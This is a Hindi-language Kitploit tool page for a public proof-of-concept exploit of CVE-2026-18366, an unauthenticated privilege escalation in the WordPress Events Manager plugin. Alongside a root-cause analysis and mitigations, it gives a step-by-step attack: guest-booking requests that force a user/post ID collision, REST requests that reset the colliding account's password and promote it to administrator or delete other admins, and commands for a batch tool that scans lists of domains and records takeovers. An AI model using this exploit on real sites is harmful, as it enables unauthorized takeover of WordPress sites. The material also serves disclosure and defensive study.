Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-18366 — WordPress Events Manager < 7.4.1 के लिए बिना प्रमाणीकरण वाला विशेषाधिकार-वृद्धि (privilege-escalation) PoC; यह टकराने वाली (colliding) पोस्ट/यूज़र आईडी का पता लगाता है और REST या wp-admin के माध्यम से लक्ष्यों को व्यवस्थापक (administrator) तक बढ़ाता है। | Kitploit
उपकरण/GitHubGitHub/ghostpels/cve-2026-18366
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करना
GitHubghostpels/cve-2026-18366

CVE-2026-18366

WordPress Events Manager < 7.4.1 के लिए बिना प्रमाणीकरण वाला विशेषाधिकार-वृद्धि (privilege-escalation) PoC; यह टकराने वाली (colliding) पोस्ट/यूज़र आईडी का पता लगाता है और REST या wp-admin के माध्यम से लक्ष्यों को व्यवस्थापक (administrator) तक बढ़ाता है।

रिपॉजिटरी देखें
3 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-18366 — Events Manager < 7.4.1: बिना प्रमाणीकरण के एडमिनिस्ट्रेटर तक विशेषाधिकार वृद्धि

उत्पादEvents Manager (वर्डप्रेस प्लगइन)
प्रभावित संस्करण7.1.0 – 7.4.0.x
सुधारित संस्करण7.4.1
कमजोरीCWE-269: अनुचित विशेषाधिकार प्रबंधन
गंभीरताCVSS 3.1: 9.8 (क्रिटिकल) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
WPVDB आईडी82767ce2-01e4-46ad-a52b-72d3ab2049bd
मूल शोधकर्ताJakub Herman
विवरण और PoCghostpel

प्रकटीकरण समयरेखा

  • 2026-08-03 — Events Manager 7.4.1 फिक्स के साथ जारी किया गया (विक्रेता सुरक्षा रिलीज़)।
  • 2026-08-12 — IONIX Threat Center प्रविष्टि प्रकाशित हुई।
  • 2026-08-21 — यह विवरण और प्रमाण-की-अवधारणा (poc.py)।

सारांश

Events Manager के 7.1.0 से 7.4.0.x संस्करणों में एक विशेषाधिकार वृद्धि भेद्यता है जो पूरी तरह से बिना प्रमाणीकरण वाले हमलावर को किसी भी उपयोगकर्ता खाते पर कब्ज़ा करने की अनुमति देती है जिसकी ID प्लगइन के अपने पोस्ट (event / location / event-recurring / location-recurring) में से किसी एक की ID से टकराती है। यह टक्कर (collision) उन साइटों पर बलपूर्वक की जा सकती है जहाँ अतिथि बुकिंग सक्षम है (डिफ़ॉल्ट): हर अतिथि बुकिंग एक वास्तविक उपयोगकर्ता खाता बनाती है और wp_users ऑटो-इन्क्रीमेंट काउंटर को एक से बढ़ा देती है, जिससे हमलावर उपयोगकर्ता ID स्पेस को किसी event/location पोस्ट ID पर "चल" सकता है।

मूल कारण: प्लगइन का map_meta_cap फ़िल्टर किसी भी मेटा क्षमता के लिए वर्डप्रेस द्वारा पहले से गणना की गई क्षमता सूची ($caps = []) को त्याग देता है, जब क्षमता का ऑब्जेक्ट ID किसी event/location पोस्ट पर हल होता है — जिसमें वर्डप्रेस कोर क्षमताएँ जैसे edit_user, delete_user, promote_user, और remove_user शामिल हैं। एक खाली क्षमता सूची "कोई क्षमता आवश्यक नहीं" के रूप में पढ़ी जाती है — अर्थात सभी के लिए अनुमति, जिसमें लॉग-आउट उपयोगकर्ता भी शामिल हैं।

परिणाम (सभी बिना प्रमाणीकरण, WP REST API के माध्यम से): किसी भी टकराने वाले खाते का पासवर्ड बदलें, उसे administrator में बढ़ाएँ, या उसे हटाएँ।

विश्लेषित संस्करण: 7.4.0.1 (असुरक्षित) — 7.4.1 (ठीक किया गया) से तुलना की गई।

प्रभावित संस्करण

संस्करणस्थिति
≤ 7.0.5प्रभावित नहीं (legacy em_map_meta_cap केवल EM की अपनी क्षमताओं को संभालता है)
7.1.0 – 7.4.0.xअसुरक्षित (त्रुटिपूर्ण वाली आर्किटाइप प्रणाली 7.1.0 में शुरू की गई थी)

मूल कारण — map_meta_cap $caps को खाली कर देता है

classes/em-archetypes.php (संस्करण 7.4.0.1):

परिणाम: हर current_user_can('edit_user', X) / delete_user / promote_user / remove_user जाँच TRUE लौटाती है जब भी X किसी event/location पोस्ट की ID के बराबर होती है। प्लगइन "वर्डप्रेस द्वारा पहले से लिए गए अभिगम नियंत्रण निर्णयों को त्याग देता है" — बिल्कुल WPScan द्वारा वर्णित अनुसार।

7.4.1 में फिक्स

7.4.0.1 की तुलना 7.4.1 से करके सत्यापित किया गया: अब रीसेट प्रत्येक शाखा में सटीक क्षमता मिलान द्वारा संरक्षित है (जैसे && $c['read'][$post->post_type] == $cap), इसलिए $caps केवल तब खाली होती है जब अनुरोधित क्षमता वास्तव में एक आर्किटाइप मेटा कैप होती है। पैच टिप्पणी: "किसी भी ऑब्जेक्ट-वाहक कैप पर रीसेट करने से असंबंधित कैप (जैसे edit_user, promote_user) के लिए आवश्यकता सूची खाली हो जाती थी, जो अनुमति के रूप में पढ़ी जाती है।"

प्रभाव — वर्डप्रेस कोर एडमिन ऑपरेशन उजागर (बिना लॉगिन, REST API के माध्यम से)

REST Users एंडपॉइंट्स (/wp-json/wp/v2/users/{id}) में कोई ग्लोबल लॉगिन गेट नहीं है — अभिगम नियंत्रण पूरी तरह से अनुमति कॉलबैक के माध्यम से होता है, ये सभी उसी map_meta_cap फ़िल्टर से होकर गुजरते हैं:

दुष्प्रभाव: edit_comment भी प्रभावित होता है जब एक टिप्पणी ID किसी event/location पोस्ट ID के बराबर होती है (wp_comments तालिका संख्यात्मक स्थान साझा करती है)।

अतिथि बुकिंग के माध्यम से ID टक्कर को बलपूर्वक लागू करना (प्रवेश बिंदु)

टक्कर इसलिए मौजूद है क्योंकि wp_users.ID और wp_posts.ID स्वतंत्र ऑटो-इन्क्रीमेंट अनुक्रम हैं जो अनिवार्य रूप से ओवरलैप होते हैं। अतिथि बुकिंग इसे बलपूर्वक लागू करती है:

  • em-install.php:896 — dbem_bookings_anonymous = 1: अतिथि बुकिंग डिफ़ॉल्ट रूप से सक्षम; :871 dbem_bookings_registration_disable = 0 (पंजीकरण सक्षम)।
  • em-actions.php:340-344 — booking_add $booking_nopriv_actions में है → बिना लॉगिन कॉल करने योग्य (wp_ajax_nopriv_booking_add के माध्यम से, प्राथमिकता 999999, पंक्तियाँ :817-830, या wp_loaded :11)।
  • em-actions.php:360-375 — booking_add प्रवाह: → → → → । (नॉन्स केवल CSRF सुरक्षा है — नॉन्स सार्वजनिक बुकिंग फ़ॉर्म पर प्रस्तुत किया जाता है, इसलिए कोई भी इसे प्राप्त कर सकता है।)

ऑडिट के दौरान देखी गई द्वितीयक श्रृंखला (बुकिंग विशेषता person_id के माध्यम से) — events-manager.php:430-437 (em_load_event, बिना लॉगिन $_REQUEST['person_id'] से $EM_Person), em-booking.php:1060-1072 (get_person() नई बुकिंग के person_id को ओवरराइड करता है), em-booking.php:2004-2006 (can_manage() = बिना ID वाली बुकिंग के लिए TRUE), em-functions.php:448-449 — 7.4.1 में अपरिवर्तित; यह एक अलग वेक्टर है (बुकिंग गलत-विशेषता), इस CVE का मूल नहीं है।

शोषण (बिना प्रमाणीकरण)

  1. लक्षित ID निर्धारित करें। सार्वजनिक event/location पोस्ट ID खोजें (permalinks, feeds, /wp-json/wp/v2/event, या अनुक्रमिक-ID ब्रूट फोर्स)। मान लें कि लक्ष्य N है।
  2. (वैकल्पिक — टक्कर को बलपूर्वक लागू करना) बार-बार अतिथि बुकिंग भेजें ताकि अगला खाता ID N प्राप्त करे:
    root@kitploit:~
    POST /wp-admin/admin-ajax.php?action=booking_add
      event_id=<E>&em_tickets[<T>][spaces]=1
      &user_email=attacker%40mail.com&user_name=Attacker
      &_wpnonce=<nonce from the public booking form>
    
    प्रत्येक POST → एक नया खाता; ID N वाला खाता हमलावर का होता है (पासवर्ड हमलावर के पते पर ईमेल किया जाता है)।
  3. एडमिनिस्ट्रेटर तक बढ़ाएँ + पासवर्ड बदलें:
    root@kitploit:~
    PUT /wp-json/wp/v2/users/N
    Content-Type: application/json
    {"password":"Pwned123!","roles":["administrator"]}
    
    edit_user + promote_user अनुमति कॉलबैक पास हो जाते हैं क्योंकि get_post(N) एक event/location पोस्ट पर हल होता है → $caps = []। (यदि एक — जैसे पुराना एडमिन — पहले से ही किसी event पोस्ट ID से टकराती हुई ID रखता है, तो चरण 2 अनावश्यक है; हमलावर सीधे उस खाते पर कब्ज़ा कर लेता है।)

आवश्यकताएँ

  • Events Manager 7.1 – 7.4.0.x स्थापित और सक्रिय (event/location CPT पंजीकृत)।
  • कम से कम एक event/location पोस्ट (इसकी ID टक्कर की कुंजी है)।
  • अतिथि बुकिंग सक्षम (डिफ़ॉल्ट) — केवल टक्कर को बलपूर्वक लागू करने के लिए आवश्यक; जिन साइटों पर किसी खाते की ID किसी event/location पोस्ट ID के बराबर है, वे सीधे REST के माध्यम से हमले योग्य हैं।

प्रमाण की अवधारणा — poc.py

poc.py एक अतुल्यकालिक (asyncio + aiohttp) बैच PoC है जो प्रति लक्ष्य: EM संस्करण का फिंगरप्रिंट लेता है (असुरक्षित श्रेणी [7.1, 7.4.1) तक सीमित), बाहर से पहुँच योग्य EM पोस्ट ID खोजता है (WP साइटमैप → /locations/, वैकल्पिक रूप से बुकिंग-फ़ॉर्म क्रॉल), खोजे गए ID पर मौजूदा उपयोगकर्ता खाते (टक्कर की स्थिति) की जाँच करता है, और जो टकराते हैं उन्हें बढ़ाता है — REST चैनल के माध्यम से, या wp-admin चैनल के माध्यम से जब सत्र प्रदान किया जाता है और REST अवरुद्ध होता है। कोई ब्लाइंड यूज़र-रेंज स्वीप, कोई अतिथि बुकिंग, कोई खाता निर्माण नहीं।

रनर सभी I/O को एक ही इवेंट लूप पर मल्टीप्लेक्स करता है (I/O-बाउंड होने पर लगभग 0% CPU; -t कोर के बजाय समवर्तीता सीमित करता है), लूप पर केवल बाउंडेड 64 KiB हेड चंक स्कैन करता है, भारी पार्स (साइटमैप XML, क्रॉल-पेज बंडल, प्रोफ़ाइल फ़ॉर्म) को asyncio.to_thread के माध्यम से वर्कर थ्रेड्स पर ऑफलोड करता है, और हर पेज प्रयास पर पोलाइटनेस देरी लागू करता है। फोर्सिंग लॉजिक स्वयं अपरिवर्तित है (वही गेट, वही ओरेकल, वही सत्यापन)।

root@kitploit:~
py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v          # single domain
py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
    --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel

आवश्यकताएँ: Python 3.9+, pip install aiohttp।

परिणाम hasil.txt (पुष्टि किए गए अधिग्रहण) और id-post.txt (हर असुरक्षित डोमेन जहाँ EM पोस्ट ID खोजे गए, collision=yes/no/unknown के साथ) में स्ट्रीम किए जाते हैं।

नोट: यह PoC 7.4.0.1 स्रोत के स्थैतिक विश्लेषण और 7.4.1 पैच अंतर से स्वतंत्र रूप से पुनर्निर्मित किया गया था — यह WPScan PoC नहीं है।

केवल अधिकृत सुरक्षा परीक्षण। केवल उन प्रणालियों के विरुद्ध चलाएँ जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति है। PoC सादे HTTP अनुरोध करता है — कोई चोरी नहीं; यह लॉग/IDS में दिखाई दे सकता है।

शमन (Mitigation)

  • Events Manager 7.4.1 या उसके बाद के संस्करण में अपडेट करें।
  • अंतरिम: अतिथि बुकिंग अक्षम करें (dbem_bookings_anonymous), WAF स्तर पर users REST एंडपॉइंट्स प्रतिबंधित करें, और पासवर्ड परिवर्तन, भूमिका वृद्धि और खाता विलोपन की निगरानी करें।

श्रेय

  • भेद्यता खोज: Jakub Herman (WPScan द्वारा श्रेय)
  • विवरण और PoC: ghostpel

संदर्भ

  • WPScan: https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
  • IONIX Threat Center: https://www.ionix.io/threat-center/cve-2026-18366/
  • VulDB: https://vuldb.com/cve/CVE-2026-18366
  • OpenCVE: https://app.opencve.io/cve/CVE-2026-18366
  • Stack.watch: https://stack.watch/vuln/CVE-2026-18366/
टूल डाउनलोड करें
map_meta_cap
7.4.1ठीक किया गया
पंक्तिकोडभूमिका
:33add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 );ग्लोबल, बिना शर्त फ़िल्टर — हर वर्डप्रेस मेटा-क्षमता जाँच के लिए चलता है, जिसमें कोर और लॉग-आउट उपयोगकर्ताओं के लिए भी शामिल है
:547if ( !empty( $args[0] ) ) {क्षमता का ऑब्जेक्ट पोस्ट ID के रूप में लिया जाता है
:548$post = get_post($args[0]);ID टक्कर: लक्षित यूज़र ID (जैसे edit_user कैप के लिए) को पोस्ट ID माना जाता है
:551`if( empty($post->post_type)
:563`if ( !empty( $c['read'][$post->post_type] )
:564–565$caps = [];क्षमता सूची बिना शर्त त्याग दी जाती है — भले ही अनुरोधित कैप read/edit/delete_event आर्किटाइप कैप न हो
:568/577/584if/elseif branches$caps केवल तब भरी जाती है जब $cap किसी आर्किटाइप मेटा कैप से बिल्कुल मेल खाती है; edit_user, delete_user, promote_user, remove_user के लिए कोई शाखा मेल नहीं खाती → $caps खाली रहती है
:597return $caps;खाली सरणी = "कोई क्षमता आवश्यक नहीं" = सभी के लिए अनुमति, जिसमें यूज़र ID 0 भी शामिल है
क्रियाएंडपॉइंट / कोर फ़ंक्शनबाइपास की गई क्षमता
लक्षित खाते का पासवर्ड बदलेंPUT /wp-json/wp/v2/users/{id} के साथ {"password":"..."} → wp_update_user() (आंतरिक edit_user जाँच)edit_user
खाते को एडमिनिस्ट्रेटर तक बढ़ाएँPUT /wp-json/wp/v2/users/{id} के साथ {"roles":["administrator"]}promote_user
खाता हटाएँDELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (आंतरिक delete_user जाँच)delete_user
(मल्टीसाइट) किसी उपयोगकर्ता को ब्लॉग से निकालेंremove_userremove_user
em_verify_nonce('booking_add')
get_post()
validate()
em_booking_add_registration()
$EM_Bookings->add()
booking_add
  • em-functions.php:405-417 — अतिथि शाखा: हमलावर के ईमेल के साथ em_register_new_user($user_data)।
  • em-functions.php:510 — wp_insert_user($user_data) → wp_users ऑटो-इन्क्रीमेंट प्रति अतिथि बुकिंग 1 से बढ़ता है → हमलावर यूज़र ID काउंटर की वृद्धि दर को नियंत्रित करता है जब तक कि यह वांछित event/location पोस्ट ID पर न पहुँच जाए (WPScan: "प्रत्येक अतिथि बुकिंग एक वास्तविक उपयोगकर्ता खाता बनाती है और यूज़र ID काउंटर को एक से बढ़ाती है")।
  • मौजूदा खाता
    N
  • अन्य खाते हटाएँ जिनकी ID टकराती है (जैसे एक और एडमिन):
    root@kitploit:~
    DELETE /wp-json/wp/v2/users/M?reassign=N
    
  • एडमिनिस्ट्रेटर के रूप में लॉगिन करें → पूरी साइट से समझौता।